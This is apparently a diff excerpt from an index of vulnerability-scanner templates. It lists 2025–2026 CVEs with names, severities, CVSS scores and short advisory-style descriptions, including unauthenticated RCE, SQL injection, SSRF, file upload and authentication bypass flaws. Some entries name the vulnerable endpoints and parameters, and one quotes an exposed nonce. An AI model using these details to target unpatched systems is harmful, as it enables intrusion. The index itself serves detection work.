{"ID":"CVE-2025-62780","Info":{"Name":"ChangeDetection.io \u003c= v0.50.33 - Stored XSS via Watch API","Severity":"medium","Description":"changedetection.io \u003c= 0.50.34 contains a stored cross site scripting caused by insufficient security checks in the Watch update API, letting attackers execute arbitrary JavaScript when users preview malicious links, exploit requires user interaction\n","Classification":{"CVSSScore":"6.2"}},"file_path":"http/cves/2025/CVE-2025-62780.yaml"}
{"ID":"CVE-2025-63387","Info":{"Name":"Dify v1.9.1 - Broken Access Control","Severity":"medium","Description":"Dify v1.9.1 contains an insecure permissions vulnerability caused by lack of authorization checks in /console/api/system-features endpoint, letting unauthenticated attackers access sensitive system configuration data.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-63387.yaml"}
{"ID":"CVE-2025-6389","Info":{"Name":"Sneeit WP Social WordPress Plugin - Unauthenticated RCE via call_user_func","Severity":"critical","Description":"The Sneeit Framework plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 8.3 via the sneeit_articles_pagination_callback() function. This is due to the function accepting user input and then passing that through call_user_func(). This makes it possible for unauthenticated attackers to execute code on the server which can be leveraged to inject backdoors or, for example, create new administrative user accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6389.yaml"}
{"ID":"CVE-2025-6403","Info":{"Name":"Code-Projects School Fees Payment System 1.0 - SQL Injection","Severity":"critical","Description":"A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6403.yaml"}
{"ID":"CVE-2025-64095","Info":{"Name":"DNN - Unrestricted Arbitrary File Upload","Severity":"critical","Description":"DNN (formerly DotNetNuke) \\u003C 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64095.yaml"}
{"ID":"CVE-2025-64328","Info":{"Name":"FreePBX \u003e= 17.0.2.36 \u0026\u0026 \u003c 17.0.3 - Authenticated Command Injection","Severity":"critical","Description":"FreePBX Endpoint Manager 17.0.2.36 to \u003c 17.0.3 contains a command injection caused by improper sanitization in filestore module's testconnection check_ssh_connect() function, letting authenticated users execute commands as asterisk user.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-64328.yaml"}
@@ -3884,6 +3899,7 @@
{"ID":"CVE-2025-66744","Info":{"Name":"Yonyou YonBIP - Path Traversal","Severity":"high","Description":"Yonyou YonBIP v3 and before contains a path traversal caused by improper validation in the LoginWithV8 interface of the series data application service system, letting unauthorized attackers access sensitive information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-66744.yaml"}
{"ID":"CVE-2025-67303","Info":{"Name":"ComfyUI-Manager \u003c 3.38 - Configuration Overwrite","Severity":"critical","Description":"ComfyUI-Manager \u003c 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-67303.yaml"}
{"ID":"CVE-2025-68043","Info":{"Name":"LottieFiles WordPress Plugin \u003c= 3.0.0 - Missing Authorization","Severity":"high","Description":"LottieFiles LottieFiles \u003c= 3.0.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers exploit missing authorization, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2025/CVE-2025-68043.yaml"}
{"ID":"CVE-2025-68493","Info":{"Name":"Apache Struts XWork - XML External Entity Injection","Severity":"high","Description":"Apache Struts 2.0.0 \u003c 2.2.1 and 2.2.1 \u003c= versions \u003c= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2025/CVE-2025-68493.yaml"}
{"ID":"CVE-2025-68509","Info":{"Name":"User Submitted Posts \u003c= 20251121 - Unauthenticated Open Redirect","Severity":"medium","Description":"The User Submitted Posts plugin for WordPress is vulnerable to Open Redirect in all versions up to and including 20251121. This is due to insufficient validation on the redirect-override POST parameter. Unauthenticated attackers can redirect users to potentially malicious sites by tricking them into submitting a form.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-68509.yaml"}
{"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
{"ID":"CVE-2025-68602","Info":{"Name":"Accept Donations with PayPal \u003c= 1.5.2 - Open Redirect","Severity":"medium","Description":"The Accept Donations with PayPal \u0026 Stripe plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.5.2. This is due to insufficient validation on the redirect url supplied. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2025/CVE-2025-68602.yaml"}
@@ -3898,6 +3914,8 @@
{"ID":"CVE-2025-71257","Info":{"Name":"BMC FootPrints - Authentication Bypass","Severity":"medium","Description":"BMC FootPrints versions 20.20.02 through 20.24.01.001 contain an authentication bypass vulnerability in the password reset functionality. Unauthenticated attackers can access the /footprints/servicedesk/passwordreset/request/ endpoint to obtain a valid SEC_TOKEN session cookie without proper authentication. This vulnerability enables exploitation of other vulnerabilities in the chain including CVE-2025-71258 and CVE-2025-71259 (SSRF) and CVE-2025-71260 (deserialization RCE).\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-71257.yaml"}
{"ID":"CVE-2025-71258","Info":{"Name":"BMC FootPrints 'searchWeb' - Server-Side Request Forgery","Severity":"high","Description":"BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/import/searchWeb endpoint. The 'url' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-71258.yaml"}
{"ID":"CVE-2025-71259","Info":{"Name":"BMC FootPrints 'feedUrl' - Server-Side Request Forgery","Severity":"high","Description":"BMC FootPrints versions 20.20.02 through 20.24.01.001 contain a Server-Side Request Forgery (SSRF) vulnerability in the /footprints/servicedesk/externalfeed/RSS endpoint. The 'feedUrl' parameter allows unauthenticated attackers to force the server to make HTTP requests to arbitrary URLs, enabling access to internal services and bypassing firewall restrictions. This vulnerability is part of a pre-authenticated RCE chain when combined with CVE-2025-71257 (auth bypass) and CVE-2025-71260 (deserialization).\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-71259.yaml"}
{"ID":"CVE-2025-71324","Info":{"Name":"Flowise - Path Traversal","Severity":"high","Description":"Flowise \u003c 3.0.6 contains a path traversal vulnerability caused by improper validation of the chatId parameter in /api/v1/get-upload-file and /api/v1/openai-assistants-file/download endpoints, letting unauthenticated attackers read arbitrary files including sensitive database files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-71324.yaml"}
{"ID":"CVE-2025-71334","Info":{"Name":"Flowise - Path Traversal","Severity":"critical","Description":"Flowise \u003c= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-71334.yaml"}
{"ID":"CVE-2025-7160","Info":{"Name":"Zoo Management System 1.0 - SQL Injection","Severity":"critical","Description":"Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-7160.yaml"}
{"ID":"CVE-2025-8085","Info":{"Name":"Ditty \u003c 3.1.58 - Server-Side Request Forgery","Severity":"high","Description":"The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-8085.yaml"}
{"ID":"CVE-2025-8110","Info":{"Name":"Gogs \u003c= 0.13.3 - Remote Code Execution","Severity":"high","Description":"Gogs self-hosted Git service versions 0.13.3 and earlier contain a critical symlink bypass vulnerability that circumvents the fix for CVE-2024-55947. Authenticated users can exploit improper symbolic link handling in the PutContents API to overwrite files outside the repository by committing a symlink pointing to sensitive targets, leading to remote code execution. As of December 2025, this remains an unpatched zero-day with active exploitation ongoing. Approximately 1,400 exposed Gogs instances exist, with over 700 showing signs of compromise. The vulnerability stems from the API writing to file paths without checking if targets are symlinks pointing outside the repository. Gogs maintainers are working on a fix.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-8110.yaml"}
@@ -3912,199 +3930,394 @@
{"ID":"CVE-2025-9808","Info":{"Name":"The Events Calendar \u003c= 6.15.2 - Information Disclosure","Severity":"medium","Description":"The Events Calendar WordPress plugin \u003c= 6.15.2 contains an information disclosure vulnerability caused by REST endpoint exposure, letting unauthenticated attackers extract data about password-protected vendors or venues, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9808.yaml"}
{"ID":"CVE-2025-9985","Info":{"Name":"Featured Image from URL (FIFU) \u003c= 5.2.7 - Unauthenticated Information Exposure via Log File","Severity":"medium","Description":"The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9985.yaml"}
{"ID":"CVE-2026-0545","Info":{"Name":"MLflow Job API - Authentication Bypass","Severity":"critical","Description":"MLflow latest version contains an authentication bypass caused by unprotected FastAPI job endpoints under /ajax-api/3.0/jobs/* when basic-auth is enabled, letting unauthenticated network clients submit and manage jobs, exploit requires job execution enabled and allowlisted job functions.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-0545.yaml"}
{"ID":"CVE-2026-0558","Info":{"Name":"LolLMS \u003c= 2.2.0 - Unauthenticated File Upload","Severity":"critical","Description":"A vulnerability in parisneo/lollms up to and including version 2.2.0 allows unauthenticated users to upload and process files through the /api/files/extract-text endpoint. The endpoint lacks the Depends(get_current_active_user) dependency used by other file-related APIs.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-0558.yaml"}
{"ID":"CVE-2026-0560","Info":{"Name":"LolLMS \u003c 2.2.0 - Server-Side Request Forgery","Severity":"high","Description":"A Server-Side Request Forgery (SSRF) vulnerability exists in parisneo/lollms versions prior to 2.2.0. The /api/files/export-content endpoint processes Markdown image URLs by downloading them via _download_image_to_temp() in backend/routers/files.py without any validation, allowing an unauthenticated attacker to supply arbitrary URLs (e.g. cloud metadata endpoints or internal services) that the server will fetch, enabling internal network access, cloud metadata access, information disclosure, port scanning, and potentially remote code execution.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-0560.yaml"}
{"ID":"CVE-2026-0561","Info":{"Name":"Shield Security \u003c= 21.0.8 - Unauthenticated Reflected XSS","Severity":"medium","Description":"Shield Security WordPress plugin \u003c= 21.0.8 contains a reflected cross-site scripting caused by insufficient input sanitization and output escaping in the 'message' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-0561.yaml"}
{"ID":"CVE-2026-0594","Info":{"Name":"WordPress List Site Contributors \u003c 1.1.8 - Reflected XSS","Severity":"medium","Description":"WordPress List Site Contributors plugin \u003c 1.1.8 contains a reflected XSS caused by insufficient sanitization and escaping of the 'alpha' parameter, letting unauthenticated attackers inject scripts, exploit requires user interaction.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-0594.yaml"}
{"ID":"CVE-2026-0650","Info":{"Name":"OpenFlagr \u003c= 1.1.18 - Authentication Bypass","Severity":"critical","Description":"OpenFlagr \u003c= 1.1.18 contains an authentication bypass caused by improper path normalization handling in HTTP middleware whitelist logic, letting attackers access protected API endpoints without valid credentials, exploit requires crafted requests.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-0650.yaml"}
{"ID":"CVE-2026-0702","Info":{"Name":"VidShop for WooCommerce \u003c= 1.1.4 - SQL Injection","Severity":"high","Description":"VidShop – Shoppable Videos for WooCommerce plugin for WordPress \u003c= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-0702.yaml"}
{"ID":"CVE-2026-0717","Info":{"Name":"LottieFiles for Gutenberg \u003c= 3.0.0 - Unauthenticated Settings Disclosure","Severity":"medium","Description":"The LottieFiles – Lottie block for Gutenberg plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.0.0 via the `/wp-json/lottiefiles/v1/settings/` REST API endpoint. This makes it possible for unauthenticated attackers to retrieve the site owner's LottieFiles.com account credentials including their API access token and email address when the 'Share LottieFiles account with other WordPress users' option is enabled.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-0717.yaml"}
{"ID":"CVE-2026-0740","Info":{"Name":"Ninja Forms File Uploads \u003c= 3.3.26 - Arbitrary File Upload","Severity":"critical","Description":"Ninja Forms File Uploads plugin for WordPress versions up to and including 3.3.26 is vulnerable to unauthenticated arbitrary file upload which could lead to remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-0740.yaml"}
{"ID":"CVE-2026-0743","Info":{"Name":"WP Content Permission \u003c= 1.2 - Cross-Site Scripting","Severity":"medium","Description":"The WP Content Permission plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ohmem-message' parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n","Classification":{"CVSSScore":"4.4"}},"file_path":"http/cves/2026/CVE-2026-0743.yaml"}
{"ID":"CVE-2026-0768","Info":{"Name":"Langflow \u003c=1.2.x - Unauthenticated Remote Code Execution via validate_code","Severity":"critical","Description":"Langflow \u003c= 1.2.x exposes POST /api/v1/validate/code without any authentication. The endpoint calls validate_code() which exec()s user-supplied Python code. Default-argument expressions in Python execute at function-definition time, allowing arbitrary OS command execution without authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-0768.yaml"}
{"ID":"CVE-2026-0770","Info":{"Name":"Langflow \u003c 1.3.0 - Remote Code Execution via validate_code() exec()","Severity":"critical","Description":"Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-0770.yaml"}
{"ID":"CVE-2026-0829","Info":{"Name":"Frontend File Manager Plugin \u003c= 23.5 - Unauthenticated Arbitrary Email Sending","Severity":"high","Description":"Frontend File Manager Plugin WordPress plugin through 23.5 contains an open relay and unauthorized file access vulnerability caused by lack of authentication and security checks, letting unauthenticated attackers send emails and access files, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-0829.yaml"}
{"ID":"CVE-2026-0926","Info":{"Name":"Prodigy Commerce \u003c= 3.3.0 - Local File Inclusion","Severity":"critical","Description":"Prodigy Commerce WordPress plugin \u003c= 3.2.9 contains a local file inclusion caused by improper sanitization of 'parameters[template_name]' parameter, letting unauthenticated attackers include and execute arbitrary files remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-0926.yaml"}
{"ID":"CVE-2026-10520","Info":{"Name":"Ivanti Sentry - OS Command Injection","Severity":"critical","Description":"An OS Command Injection vulnerability in Ivanti Sentry before the R10.5.2, R10.6.2 and R10.7.1 versions allows a remote unauthenticated user to achieve root-level remote code execution\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-10520.yaml"}
{"ID":"CVE-2026-10580","Info":{"Name":"Hippoo Mobile App for WooCommerce \u003c= 1.9.4 - Authentication Bypass to Admin Account Takeover","Severity":"critical","Description":"Hippoo Mobile App for WooCommerce WordPress plugin \u003c= 1.9.4 contains an authentication bypass caused by logic conflation in user permission checks, letting unauthenticated attackers take over administrator accounts via REST API password reset.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-10580.yaml"}
{"ID":"CVE-2026-10768","Info":{"Name":"Drupal LocalGov Workflows \u003c 1.6.0 - Information Disclosure","Severity":"high","Description":"Drupal LocalGov Workflows \u003c 1.6.0 contains a broken access control vulnerability caused by missing authorization checks, letting attackers perform forceful browsing to access unauthorized resources, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-10768.yaml"}
{"ID":"CVE-2026-10823","Info":{"Name":"YMC Filter WordPress - Unauthenticated Post Disclosure","Severity":"high","Description":"YMC Filter WordPress plugin \u003c 3.11.3 contains a broken access control vulnerability caused by improper authorization and lack of validation in a REST API endpoint, letting unauthenticated attackers retrieve private and non-public post content, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-10823.yaml"}
{"ID":"CVE-2026-1115","Info":{"Name":"parisneo/lollms \u003c 2.2.0 - Authenticated Stored XSS","Severity":"high","Description":"parisneo/lollms \u003c 2.2.0 contains a stored XSS caused by unsanitized user input in create_post function in backend/routers/social/__init__.py, letting attackers inject malicious scripts executed in user browsers, exploit requires crafted post submission.\n","Classification":{"CVSSScore":"9.0"}},"file_path":"http/cves/2026/CVE-2026-1115.yaml"}
{"ID":"CVE-2026-11387","Info":{"Name":"SMS Alert – SMS \u0026 OTP for WooCommerce - Privilege Escalation","Severity":"critical","Description":"The SMS Alert – SMS \u0026 OTP for WooCommerce, Order Notifications \u0026 Abandoned Cart Recovery plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 3.9.5. This is due to the plugin not properly validating a user's identity prior to updating their details like reset the password of any user account, including administrators, and gain full access to those accounts. This makes it possible for unauthenticated attackers to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account. This is only vulnerable on sites with OTP verification for password resets enabled, and where the administrator (or other user) has set a phone number for OTP verification.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-11387.yaml"}
{"ID":"CVE-2026-11801","Info":{"Name":"WPAdverts \u003c= 2.3.2 - Information Disclosure","Severity":"high","Description":"WPAdverts – Classifieds Plugin for WordPress \u003c= 2.3.2 contains an authorization bypass caused by improper user authorization verification in classifieds-types REST endpoint, letting unauthenticated attackers retrieve internal site configuration data, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-11801.yaml"}
{"ID":"CVE-2026-1207","Info":{"Name":"Django RasterField - SQL Injection","Severity":"high","Description":"Django \u003c 6.0.2, \u003c 5.2.11, and \u003c 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-1207.yaml"}
{"ID":"CVE-2026-12394","Info":{"Name":"WordPress MemberGlut \u003c 1.1.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"MemberGlut WordPress plugin \u003c 1.1.5 contains a broken access control vulnerability caused by lack of validation of roles during front-end registration, letting unauthenticated users register with arbitrary roles including administrator, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-12394.yaml"}
{"ID":"CVE-2026-1277","Info":{"Name":"URL Shortify \u003c= 1.12.1 - Open Redirect","Severity":"medium","Description":"The URL Shortify plugin for WordPress is vulnerable to Open Redirect in all versions up to, and including, 1.12.1 due to insufficient validation on the 'redirect_to' parameter in the promotional dismissal handler. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites via a crafted link.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2026/CVE-2026-1277.yaml"}
{"ID":"CVE-2026-1281","Info":{"Name":"Ivanti EPMM \u003c=12.7.0.0 - Unauthenticated Code Injection","Severity":"critical","Description":"Ivanti Endpoint Manager Mobile (EPMM) versions 12.5.0.0 through 12.7.0.0 contain a code injection vulnerability that allows unauthenticated remote attackers to achieve arbitrary code execution on the target system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1281.yaml"}
{"ID":"CVE-2026-12898","Info":{"Name":"All-in-One WP Migration and Backup \u003c 7.106 - Arbitrary Log File Write","Severity":"medium","Description":"The All-in-One WP Migration and Backup WordPress plugin before 7.106 does not properly sanitise a user-supplied value before using it to build a file path. This makes it possible for unauthenticated attackers to create or append a log file in arbitrary locations outside the intended storage directory.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-12898.yaml"}
{"ID":"CVE-2026-1296","Info":{"Name":"Frontend Post Submission Manager Lite \u003c= 1.2.7 - Open Redirect","Severity":"medium","Description":"The Frontend Post Submission Manager Lite plugin for WordPress is vulnerable to Open Redirection in all versions up to, and including, 1.2.7 due to insufficient validation on the 'requested_page' POST parameter in the verify_username_password function. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-1296.yaml"}
{"ID":"CVE-2026-13001","Info":{"Name":"Podlove Podcast Publisher \u003c= 4.5.1 - Arbitrary File Upload","Severity":"critical","Description":"Podlove Podcast Publisher plugin for WordPress through 4.5.1 is vulnerable to arbitrary file uploads due to missing file type validation in the podlove_handle_cache_files function. The image cache derives the stored file extension from the path of the attacker supplied source URL, while the image validation is performed against a different file name taken from the full source URL, so a source URL whose path carries a dangerous extension is written to the cache with that extension.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-13001.yaml"}
{"ID":"CVE-2026-1306","Info":{"Name":"WordPress midi-Synth \u003c= 1.1.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"WordPress midi-Synth plugin \\u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1306.yaml"}
{"ID":"CVE-2026-1314","Info":{"Name":"WordPress 3D FlipBook \u003c= 1.16.17 - Information Disclosure","Severity":"medium","Description":"WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions \u003c= 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3d_send_posts_in, fb3d_send_post_pages, fb3d_send_posts_in_pages, fb3d_send_posts_in_first_page, and fb3d_send_post_first_page handlers are registered with wp_ajax_nopriv hooks but fail to verify the post status of requested flipbook entries. This allows unauthenticated attackers to retrieve full metadata, PDF URLs, and configuration data of private, draft, and password-protected flipbook posts.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1314.yaml"}
{"ID":"CVE-2026-13147","Info":{"Name":"WordPress Kirki \u003c 6.0.12 - Server-Side Request Forgery","Severity":"high","Description":"Kirki WordPress plugin \u003c 6.0.12 contains a server-side request forgery caused by lack of URL validation, letting unauthenticated attackers make the site issue HTTP requests to arbitrary hosts, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-13147.yaml"}
{"ID":"CVE-2026-1357","Info":{"Name":"WPvivid Backup \u0026 Migration \u003c= 0.9.123 - Arbitrary File Upload","Severity":"critical","Description":"WPvivid Backup \u0026 Migration plugin for WordPress \u003c= 0.9.123 contains an unauthenticated arbitrary file upload vulnerability caused by improper error handling in RSA decryption and lack of path sanitization, letting unauthenticated attackers upload arbitrary PHP files and achieve remote code execution via wpvivid_action=send_to_site parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1357.yaml"}
{"ID":"CVE-2026-1368","Info":{"Name":"Video Conferencing with Zoom API \u003c 4.6.6 - Unauthenticated SDK Signature Generation","Severity":"high","Description":"Zoom WordPress plugin \u003c 4.6.6 contains a broken authentication caused by disabled nonce verification in an AJAX handler, letting unauthenticated attackers generate valid Zoom SDK signatures and retrieve the Zoom SDK key.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1368.yaml"}
{"ID":"CVE-2026-13731","Info":{"Name":"WPBot \u003c= 8.4.9 - Cross-Site Scripting","Severity":"high","Description":"WPBot \u003c= 8.4.9 is vulnerable to stored cross-site scripting via the conversation parameter in the qcld_wb_chatbot_conversation_save AJAX action. The AJAX nonce (qcsecretbotnonceval123qc) is publicly emitted on every frontend page via wp_localize_script under the ajax_nonce key, making it freely obtainable by unauthenticated visitors. The conversation parameter is saved to the database without sanitization and rendered unsanitized in the admin chat session view, causing stored XSS that executes when an administrator views saved chat sessions.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-13731.yaml"}
{"ID":"CVE-2026-1405","Info":{"Name":"WordPress Slider Future \u003c= 1.0.5 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Slider Future WordPress plugin \u003c= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1405.yaml"}
{"ID":"CVE-2026-14483","Info":{"Name":"Realtyna Organic IDX/WPL \u003c= 5.2.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"Realtyna Organic IDX plugin + WPL Real Estate plugin for WordPress \u003c= 5.2.0 contains an unrestricted file upload vulnerability caused by missing file type validation and static API credentials, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires knowledge of static API credentials.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-14483.yaml"}
{"ID":"CVE-2026-14894","Info":{"Name":"WordPress Super Forms \u003c= 6.3.313 - Arbitrary File Upload","Severity":"critical","Description":"Super Forms – Drag \u0026 Drop Form Builder WordPress plugin \\u003C= 6.3.313 contains an arbitrary file upload vulnerability caused by missing file type validation and lack of capability checks in submit_form nopriv AJAX handler, letting unauthenticated attackers upload executable files and achieve remote code execution, exploit requires no authentication due to nonce bypass.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-14894.yaml"}
{"ID":"CVE-2026-1492","Info":{"Name":"WordPress User Registration \u0026 Membership \u003c= 5.1.2 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"User Registration \u0026 Membership WordPress plugin \u003c= 5.1.2 contains an improper privilege management vulnerability caused by accepting user-supplied roles without server-side allowlist enforcement, letting unauthenticated attackers create administrator accounts\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1492.yaml"}
{"ID":"CVE-2026-15094","Info":{"Name":"WP Hotel Booking \u003c= 2.3.2 - Cross-Site Scripting","Severity":"medium","Description":"The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-15094.yaml"}
{"ID":"CVE-2026-1557","Info":{"Name":"WP Responsive Images \u003c= 1.0 - Arbitrary File Read","Severity":"high","Description":"WP Responsive Images plugin for WordPress \u003c= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1557.yaml"}
